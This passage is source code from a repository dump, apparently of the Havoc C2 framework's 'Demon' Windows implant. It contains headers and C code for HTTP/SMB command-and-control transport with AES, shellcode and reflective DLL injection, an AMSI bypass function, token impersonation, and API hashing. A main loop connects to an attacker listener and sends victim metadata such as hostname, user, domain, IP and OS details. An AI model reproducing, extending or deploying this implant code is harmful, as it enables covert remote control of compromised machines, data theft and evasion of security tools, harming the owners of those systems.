TokenData ); BOOL SysImpersonateLoggedOnUser( HANDLE hToken ); #endif ================================================ FILE: payloads/Demon/include/core/Transport.h ================================================ #ifndef DEMON_INTERNET_H #define DEMON_INTERNET_H #include #include #include #define PIPE_BUFFER_MAX 0x10000 /*! * Initialize HTTP/HTTPS Connection to C2 Server + using AES encryption or * Initializes a connection to the parent pivot over SMB + using AES encryption * and send the collected user/computer info about the compromised Computer * @return Return if functions ran successful */ BOOL TransportInit(); /*! * Send our specified data + encrypt it with random key * @param Data Data we want to send * @param Size Size of Data we want to send * @return Return if functions ran successful */ BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize ); /*! * Try get a Job by reading from the pipe * @param Data Data we want to read * @param Size Size of Data we want to read * @return Return if functions ran successful */ BOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize ); #endif ================================================ FILE: payloads/Demon/include/core/TransportHttp.h ================================================ #ifndef DEMON_TRANSPORTHTTP_H #define DEMON_TRANSPORTHTTP_H #include #include #include #ifdef TRANSPORT_HTTP #define TRANSPORT_HTTP_ROTATION_ROUND_ROBIN 0 #define TRANSPORT_HTTP_ROTATION_RANDOM 1 #define ERROR_INTERNET_CANNOT_CONNECT 12029 typedef struct _HOST_DATA { /* Host Data */ LPWSTR Host; DWORD Port; DWORD Failures; BOOL Dead; /* Next Host Data */ struct _HOST_DATA* Next; } HOST_DATA, *PHOST_DATA; /*! * Adds a host to the linked list * @param Host * @param Port * @return Host pointer */ PHOST_DATA HostAdd( LPWSTR Host, SIZE_T Size, DWORD Port ); /*! * Counts how many hosts are in the linked list * @return Hosts counter */ DWORD HostCount( VOID ); /*! * Increments the failure counter and checks if we hit the max. * if we hit the max then we are going to use the next one. * @param Host * @return If hit the max then return the next Host. * If not then return the passed Host. */ PHOST_DATA HostFailure( PHOST_DATA Host ); /*! * Chooses a host from the linked list based on the Host rotation option. * @return Host data */ PHOST_DATA HostRotation( SHORT Strategy ); /*! * Gets a random host from the linked list. (doesn't check if its dead) * @return Random Host from linked list */ PHOST_DATA HostRandom(); /*! * Checks if every host is dead. * if every host is dead then return FALSE. * if one or more hosts are not dead then TRUE * @return if more than one host is not marked as dead then return TRUE else return FALSE */ BOOL HostCheckup(); DWORD HttpQueryStatus( HANDLE hRequest ); BOOL HttpSend( _In_ PBUFFER Send, _Out_opt_ PBUFFER Resp ); #endif #endif ================================================ FILE: payloads/Demon/include/core/TransportSmb.h ================================================ #ifndef DEMON_TRANSPORTSMB_H #define DEMON_TRANSPORTSMB_H #include #ifdef TRANSPORT_SMB /* Objects we allocated and need to free */ typedef struct { PSID Sid; PSID SidLow; PACL SAcl; PSECURITY_DESCRIPTOR SecDec; } SMB_PIPE_SEC_ATTR, *PSMB_PIPE_SEC_ATTR; BOOL SmbSend( PBUFFER Send ); BOOL SmbRecv( PBUFFER Resp ); VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr ); VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr ); /* TRANSPORT_SMB */ #endif /* DEMON_TRANSPORTSMB_H */ #endif ================================================ FILE: payloads/Demon/include/core/Win32.h ================================================ #ifndef DEMON_WIN32_H #define DEMON_WIN32_H #include #include #include #include #include #include #include #include #include #include #define HASH_KEY 5381 #define WIN_FUNC(x) __typeof__(x) * x; #define DEREF( name ) *( UINT_PTR* ) ( name ) #define DEREF_32( name ) *( DWORD* ) ( name ) #define DEREF_16( name ) *( WORD* ) ( name ) #define MAX( a, b ) ( ( a ) > ( b ) ? ( a ) : ( b ) ) #define MIN( a, b ) ( ( a ) < ( b ) ? ( a ) : ( b ) ) typedef struct _DIR_OR_FILE { WCHAR FileName[MAX_PATH+1]; SYSTEMTIME FileTime; SYSTEMTIME SystemTime; BOOL IsDir; UINT64 Size; struct _DIR_OR_FILE* Next; } DIR_OR_FILE, *PDIR_OR_FILE; typedef struct _SUB_DIR { WCHAR Path[MAX_PATH+1]; struct _SUB_DIR* Next; } SUB_DIR, *PSUB_DIR; typedef struct _ROOT_DIR { WCHAR Path[MAX_PATH+1]; PDIR_OR_FILE Content; UINT32 NumFiles; UINT32 NumFolders; UINT64 TotalFileSize; struct _ROOT_DIR* Next; } ROOT_DIR, *PROOT_DIR; typedef struct { PVOID TebInformation; ULONG TebOffset; ULONG BytesToRead; } THREAD_TEB_INFORMATION; typedef struct _BUFFER { PVOID Buffer; UINT32 Length; } BUFFER, *PBUFFER; typedef struct _ANONPIPE { HANDLE StdOutRead; HANDLE StdOutWrite; } ANONPIPE, *PANONPIPE; typedef enum _PS_ATTRIBUTE_NUM { PsAttributeParentProcess = 0 /*0x0*/, PsAttributeDebugObject = 1 /*0x1*/, PsAttributeToken = 2 /*0x2*/, PsAttributeClientId = 3 /*0x3*/, PsAttributeTebAddress = 4 /*0x4*/, PsAttributeImageName = 5 /*0x5*/, PsAttributeImageInfo = 6 /*0x6*/, PsAttributeMemoryReserve = 7 /*0x7*/, PsAttributePriorityClass = 8 /*0x8*/, PsAttributeErrorMode = 9 /*0x9*/, PsAttributeStdHandleInfo = 10 /*0xA*/, PsAttributeHandleList = 11 /*0xB*/, PsAttributeMax = 12 /*0xC*/ }PS_ATTRIBUTE_NUM, *PPS_ATTRIBUTE_NUM; typedef struct _PROC_THREAD_ATTRIBUTE_ENTRY { ULONG_PTR Attribute; ULONG_PTR Size; ULONG_PTR* pValue; ULONG_PTR Unknown; } PROC_THREAD_ATTRIBUTE_ENTRY, *PPROC_THREAD_ATTRIBUTE_ENTRY; typedef struct __attribute__((packed)) { ULONG ExtendedProcessInfo; ULONG ExtendedProcessInfoBuffer; } EXTENDED_PROCESS_INFORMATION, *PEXTENDED_PROCESS_INFORMATION; typedef struct _PROC_THREAD_ATTRIBUTE_LIST { ULONG_PTR Length; PROC_THREAD_ATTRIBUTE_ENTRY Entry; } PROC_THREAD_ATTRIBUTE_LIST, *PPROC_THREAD_ATTRIBUTE_LIST; typedef PSYSTEM_PROCESS_INFORMATION PSYS_PROC_INFO; typedef SECURITY_QUALITY_OF_SERVICE SEC_QUALITY_SERVICE; typedef OBJECT_ATTRIBUTES OBJ_ATTR; typedef OBJECT_ATTRIBUTES OBJ_ATTR; typedef PROC_THREAD_ATTRIBUTE_LIST THD_ATTR_LIST; typedef PROCESS_INFORMATION PROC_INFO; DWORD HashStringA( IN PCHAR String ); ULONG HashEx( IN PVOID String, IN ULONG Length, IN BOOL Upper ); PVOID LdrFunctionAddr( IN PVOID Module, IN ULONG Hash ); UINT32 GetSyscallSize( VOID ); PVOID LdrModulePeb( IN DWORD hash ); PVOID LdrModulePebByString( IN LPWSTR Module ); PVOID LdrModuleSearch( IN LPWSTR ModuleName ); PVOID LdrModuleLoad( IN LPSTR ModuleName ); BOOL ProcessCreate( IN BOOL x86, IN LPWSTR App, IN LPWSTR CmdLine, IN DWORD Flags, OUT PROCESS_INFORMATION* ProcessInfo, IN BOOL Piped, IN PANONPIPE AnonPipes ); BOOL ProcessTerminate( IN HANDLE hProcess, IN DWORD Pid ); BOOL ProcessIsWow( IN HANDLE hProcess ); HANDLE ProcessOpen( IN DWORD Pid, IN DWORD Access ); NTSTATUS ProcessSnapShot( OUT PSYSTEM_PROCESS_INFORMATION* Buffer, OUT PSIZE_T Size ); BOOL ReadLocalFile( IN LPCWSTR FileName, OUT PVOID* FileContent, OUT PDWORD FileSize ); BOOL WinScreenshot( OUT PVOID* ImagePointer, OUT PSIZE_T ImageSize ); BOOL AnonPipesInit( OUT PANONPIPE AnonPipes ); VOID AnonPipesRead( IN PANONPIPE AnonPipes, IN UINT32 RequestID ); BOOL PipeWrite( IN HANDLE Handle, IN PBUFFER Buffer ); BOOL PipeRead( IN HANDLE Handle, OUT PBUFFER Buffer ); BOOL CfgQueryEnforced( VOID ); VOID CfgAddressAdd( IN PVOID ImageBase, IN PVOID Function ); BOOL EventSet( IN HANDLE Event ); BOOL BypassPatchAMSI( VOID ); ULONG RandomNumber32( VOID ); BOOL RandomBool( VOID ); ULONG64 SharedTimestamp( VOID ); VOID SharedSleep( ULONG64 Delay ); VOID ShuffleArray( _Inout_ PVOID* array, IN SIZE_T n ); PROOT_DIR listDir( IN LPWSTR StartPath, IN BOOL SubDirs, IN BOOL FilesOnly, IN BOOL DirsOnly, IN LPWSTR Starts, IN LPWSTR Contains, IN LPWSTR Ends, IN UINT32 MaxLevelDeep); #endif ================================================ FILE: payloads/Demon/include/crypt/AesCrypt.h ================================================ #ifndef _AES_H_ #define _AES_H_ #include #define CTR 1 #define AES256 1 #ifndef CTR #define CTR 1 #endif #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only #define AES_KEYLEN 32 #define AES_keyExpSize 240 typedef struct { UINT8 RoundKey[AES_keyExpSize]; UINT8 Iv[AES_BLOCKLEN]; } AESCTX, *PAESCTX ; void AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv); void AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length); #endif // _AES_H_ ================================================ FILE: payloads/Demon/include/inject/Inject.h ================================================ #ifndef DEMON_BASEINJECT_H #define DEMON_BASEINJECT_H #include #include #include #define INJECTION_TECHNIQUE_WIN32 1 #define INJECTION_TECHNIQUE_SYSCALL 2 #define INJECTION_TECHNIQUE_APC 3 #define SPAWN_TECHNIQUE_SYSCALL 2 #define SPAWN_TECHNIQUE_APC 3 // defaults #define SPAWN_TECHNIQUE_DEFAULT SPAWN_TECHNIQUE_SYSCALL #define INJECTION_TECHNIQUE_DEFAULT INJECTION_TECHNIQUE_SYSCALL typedef enum _DX_CREATE_THREAD { DX_THREAD_DEFAULT = 0, DX_THREAD_WIN32 = 1, DX_THREAD_SYSCALL = 2, DX_THREAD_APC = 3, DX_THREAD_WOW = 4, DX_THREAD_SYSAPC = 5, } DX_THREAD; typedef struct INJECTION_CTX { HANDLE hProcess; DWORD ThreadID; DWORD ProcessID; HANDLE hThread; SHORT Arch; BOOL PipeStdout; BOOL SuspendAwake; LPVOID Parameter; UINT32 ParameterSize; SHORT Technique; } INJECTION_CTX, *PINJECTION_CTX ; /* injection errors */ #define INJECT_ERROR_SUCCESS 0 /* no error. successful executed */ #define INJECT_ERROR_FAILED 1 /* aborted while trying to execute function */ #define INJECT_ERROR_INVALID_PARAM 2 /* invalid param */ #define INJECT_ERROR_PROCESS_ARCH_MISMATCH 3 /* process arch mismatches the injection arch */ #define INJECT_WAY_SPAWN 0 #define INJECT_WAY_INJECT 1 #define INJECT_WAY_EXECUTE 2 DWORD Inject( IN BYTE Method, IN HANDLE Handle, IN DWORD Pid, IN BOOL x64, IN PVOID Payload, IN SIZE_T Size, IN UINT64 Offset, IN PVOID Argv, IN SIZE_T Argc ); // ShellcodeInjectDispatch BOOL ShellcodeInjectDispatch( BOOL Inject, SHORT InjectionMethod, LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx ); BOOL ShellcodeInjectionSys( LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx ); BOOL ShellcodeInjectionSysApc( HANDLE hProcess, LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx ); DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSize, LPVOID lpDllBuffer, DWORD dwDllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ); DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID lpDllBuffer, DWORD dwDllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ); #endif ================================================ FILE: payloads/Demon/include/inject/InjectUtil.h ================================================ #ifndef DEMON_INJECTUTIL_H #define DEMON_INJECTUTIL_H #include #include #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) #ifndef ProcThreadAttributeValue #define PROC_THREAD_ATTRIBUTE_NUMBER 0x0000FFFF #define PROC_THREAD_ATTRIBUTE_THREAD 0x00010000 #define PROC_THREAD_ATTRIBUTE_INPUT 0x00020000 #define PROC_THREAD_ATTRIBUTE_ADDITIVE 0x00040000 #define ProcThreadAttributeValue(Number, Thread, Input, Additive) \ (((Number) & PROC_THREAD_ATTRIBUTE_NUMBER) | \ ((Thread != FALSE) ? PROC_THREAD_ATTRIBUTE_THREAD : 0) | \ ((Input != FALSE) ? PROC_THREAD_ATTRIBUTE_INPUT : 0) | \ ((Additive != FALSE) ? PROC_THREAD_ATTRIBUTE_ADDITIVE : 0)) #endif #define ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X64_TO_X86 0x1001 #define ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X86_TO_X64 0x1002 #define ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS 0x1003 DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); DWORD GetReflectiveLoaderOffset( PVOID lpReflectiveDllBuffer ); DWORD GetPeArch( PVOID PeBytes ); #endif ================================================ FILE: payloads/Demon/makefile ================================================ MAKEFLAGS += -s clean: rm -rf cmake-build-debug rm -rf .idea rm -rf Build ================================================ FILE: payloads/Demon/scripts/hash_func.py ================================================ #!/usr/bin/env python3 # -*- coding:utf-8 -*- # credit: https://github.com/tigr0w/realoriginal_titanldr-ng/blob/5b8835143f36adfb8d077823e18f21d3043960fb/python3/hashstring.py import sys def hash_string( string ): try: hash = 5381 for x in string.upper(): hash = (( hash << 5 ) + hash ) + ord(x) return hash & 0xFFFFFFFF except: pass def hash_coffapi( string ): try: hash = 5381 for x in string: hash = (( hash << 5 ) + hash ) + ord(x) return hash & 0xFFFFFFFF except: pass if __name__ in '__main__': try: print('#define H_FUNC_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_string( sys.argv[ 1 ] ) )); print('#define H_COFFAPI_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_coffapi( sys.argv[ 1 ] ) )); except IndexError: print('usage: %s [string]' % sys.argv[0]); ================================================ FILE: payloads/Demon/src/Demon.c ================================================ #include /* Import Common Headers */ #include #include /* Import Core Headers */ #include #include #include #include #include #include /* Import Inject Headers */ #include /* Import Inject Headers */ #include /* Global Variables */ SEC_DATA PINSTANCE Instance = { 0 }; SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES; /* * In DemonMain it should go as followed: * * 1. Initialize pointer, modules and win32 api * 2. Initialize metadata * 3. Parse config * 4. Enter main connecting and tasking routine * */ VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs ) { INSTANCE Inst = { 0 }; /* "allocate" instance on stack */ Instance = & Inst; /* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */ DemonInit( ModuleInst, KArgs ); /* Initialize MetaData */ DemonMetaData( &Instance->MetaData, TRUE ); /* Main demon routine */ DemonRoutine(); } /* Main demon routine: * * 1. Connect to listener * 2. Go into tasking routine: * A. Sleep Obfuscation. * B. Request for the task queue * C. Parse Task * D. Execute Task (if it's not DEMON_COMMAND_NO_JOB) * E. Goto C (we do this til there is nothing left) * F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more) * 3. Sleep Obfuscation. After that lets try to connect to the listener again */ _Noreturn VOID DemonRoutine() { /* the main loop */ for ( ;; ) { /* if we aren't connected then lets connect to our host */ if ( ! Instance->Session.Connected ) { /* Connect to our listener */ if ( TransportInit() ) { #ifdef TRANSPORT_HTTP /* reset the failure counter since we managed to connect to it. */ Instance->Config.Transport.Host->Failures = 0; #endif } } if ( Instance->Session.Connected ) { /* Enter tasking routine */ CommandDispatcher(); } /* Sleep for a while (with encryption if specified) */ SleepObf(); } } /* Init metadata buffer/package. */ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) { PVOID Data = NULL; PIP_ADAPTER_INFO Adapter = NULL; OSVERSIONINFOEXW OsVersions = { 0 }; SIZE_T Length = 0; DWORD dwLength = 0; /* Check we if we want to add the Agent Header + CommandID too */ if ( Header ) { *MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE ); /* Do not destroy this package if we fail to connect to the listener. */ ( *MetaData )->Destroy = FALSE; } // create AES Keys/IV if ( Instance->Config.AES.Key == NULL && Instance->Config.AES.IV == NULL ) { Instance->Config.AES.Key = Instance->Win32.LocalAlloc( LPTR, 32 ); Instance->Config.AES.IV = Instance->Win32.LocalAlloc( LPTR, 16 ); for ( SHORT i = 0; i < 32; i++ ) Instance->Config.AES.Key[ i ] = RandomNumber32(); for ( SHORT i = 0; i < 16; i++ ) Instance->Config.AES.IV[ i ] = RandomNumber32(); } /* Header (if specified): [ SIZE ] 4 bytes [ Magic Value ] 4 bytes [ Agent ID ] 4 bytes [ COMMAND ID ] 4 bytes [ Request ID ] 4 bytes MetaData: [ AES KEY ] 32 bytes [ AES IV ] 16 bytes [ Magic Value ] 4 bytes [ Demon ID ] 4 bytes [ Host Name ] size + bytes [ User Name ] size + bytes [ Domain ] size + bytes [ IP Address ] 16 bytes? [ Process Name ] size + bytes [ Process ID ] 4 bytes [ Parent PID ] 4 bytes [ Process Arch ] 4 bytes [ Elevated ] 4 bytes [ Base Address ] 8 bytes [ OS Info ] ( 5 * 4 ) bytes [ OS Arch ] 4 bytes [ SleepDelay ] 4 bytes [ SleepJitter ] 4 bytes [ Killdate ] 8 bytes [ WorkingHours ] 4 bytes ..... more [ Optional ] Eg: Pivots, Extra data about the host or network etc. */ // Add AES Keys/IV PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.Key, 32 ); PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.IV, 16 ); // Add session id PackageAddInt32( *MetaData, Instance->Session.AgentID ); // Get Computer name dwLength = 0; if ( ! Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) ) { if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); if ( Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Data, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get Username dwLength = 0; if ( ! Instance->Win32.GetUserNameA( NULL, &dwLength ) ) { if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); if ( Instance->Win32.GetUserNameA( Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Data, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get Domain dwLength = 0; if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) ) { if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); if ( Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Data, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get internal IP dwLength = 0; if ( Instance->Win32.GetAdaptersInfo( NULL, &dwLength ) ) { if ( ( Adapter = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { if ( Instance->Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR ) PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Adapter, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get Process Path PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance->Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer ); PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueProcess ); PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueThread ); PackageAddInt32( *MetaData, Instance->Session.PPID ); PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH ); PackageAddInt32( *MetaData, BeaconIsAdmin( ) ); PackageAddInt64( *MetaData, U_PTR( Instance->Session.ModuleBase ) ); MemSet( &OsVersions, 0, sizeof( OsVersions ) ); OsVersions.dwOSVersionInfoSize = sizeof( OsVersions ); Instance->Win32.RtlGetVersion( &OsVersions ); PackageAddInt32( *MetaData, OsVersions.dwMajorVersion ); PackageAddInt32( *MetaData, OsVersions.dwMinorVersion ); PackageAddInt32( *MetaData, OsVersions.wProductType ); PackageAddInt32( *MetaData, OsVersions.wServicePackMajor ); PackageAddInt32( *MetaData, OsVersions.dwBuildNumber ); PackageAddInt32( *MetaData, Instance->Session.OS_Arch ); PackageAddInt32( *MetaData, Instance->Config.Sleeping ); PackageAddInt32( *MetaData, Instance->Config.Jitter ); PackageAddInt64( *MetaData, Instance->Config.Transport.KillDate ); PackageAddInt32( *MetaData, Instance->Config.Transport.WorkingHours ); } VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) { OSVERSIONINFOEXW OSVersionExW = { 0 }; PVOID RtModules[] = { RtAdvapi32, //RtMscoree, RtOleaut32, RtUser32, RtShell32, RtMsvcrt, RtIphlpapi, RtGdi32, RtNetApi32, RtWs2_32, RtSspicli, #ifdef TRANSPORT_HTTP RtWinHttp, #endif }; Instance->Teb = NtCurrentTeb(); #ifdef TRANSPORT_HTTP PUTS( "TRANSPORT_HTTP" ) #endif #ifdef TRANSPORT_SMB PUTS( "TRANSPORT_SMB" ) #endif /* resolve ntdll.dll functions */ if ( ( Instance->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) { /* Module/Address function loading */ Instance->Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS ); Instance->Win32.LdrLoadDll = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRLOADDLL ); /* Rtl functions */ Instance->Win32.RtlAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP ); Instance->Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP ); Instance->Win32.RtlFreeHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLFREEHEAP ); Instance->Win32.RtlExitUserThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD ); Instance->Win32.RtlExitUserProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS ); Instance->Win32.RtlRandomEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLRANDOMEX ); Instance->Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR ); Instance->Win32.RtlGetVersion = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLGETVERSION ); Instance->Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE ); Instance->Win32.RtlCreateTimer = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMER ); Instance->Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM ); Instance->Win32.RtlRegisterWait = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREGISTERWAIT ); Instance->Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE ); Instance->Win32.RtlCaptureContext = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT ); Instance->Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER ); Instance->Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER ); Instance->Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY ); /* Native functions */ Instance->Win32.NtClose = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCLOSE ); Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT ); Instance->Win32.NtSetEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETEVENT ); Instance->Win32.NtSetInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD ); Instance->Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY ); Instance->Win32.NtGetNextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD ); Instance->Win32.NtOpenProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESS ); Instance->Win32.NtTerminateProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS ); Instance->Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS ); Instance->Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION ); Instance->Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY ); Instance->Win32.NtQueueApcThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD ); Instance->Win32.NtOpenThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREAD ); Instance->Win32.NtOpenThreadToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN ); Instance->Win32.NtResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTRESUMETHREAD ); Instance->Win32.NtSuspendThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD ); Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT ); Instance->Win32.NtDuplicateObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT ); Instance->Win32.NtGetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD ); Instance->Win32.NtSetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD ); Instance->Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT ); Instance->Win32.NtAlertResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD ); Instance->Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT ); Instance->Win32.NtTestAlert = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTESTALERT ); Instance->Win32.NtCreateThreadEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATETHREADEX ); Instance->Win32.NtOpenProcessToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN ); Instance->Win32.NtDuplicateToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN ); Instance->Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY ); Instance->Win32.NtTerminateThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATETHREAD ); Instance->Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY ); Instance->Win32.NtContinue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCONTINUE ); Instance->Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY ); Instance->Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY ); Instance->Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION ); Instance->Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY ); Instance->Win32.NtQueryInformationToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN ); Instance->Win32.NtQueryInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD ); Instance->Win32.NtQueryObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYOBJECT ); Instance->Win32.NtTraceEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTRACEEVENT ); } else { PUTS( "Failed to load 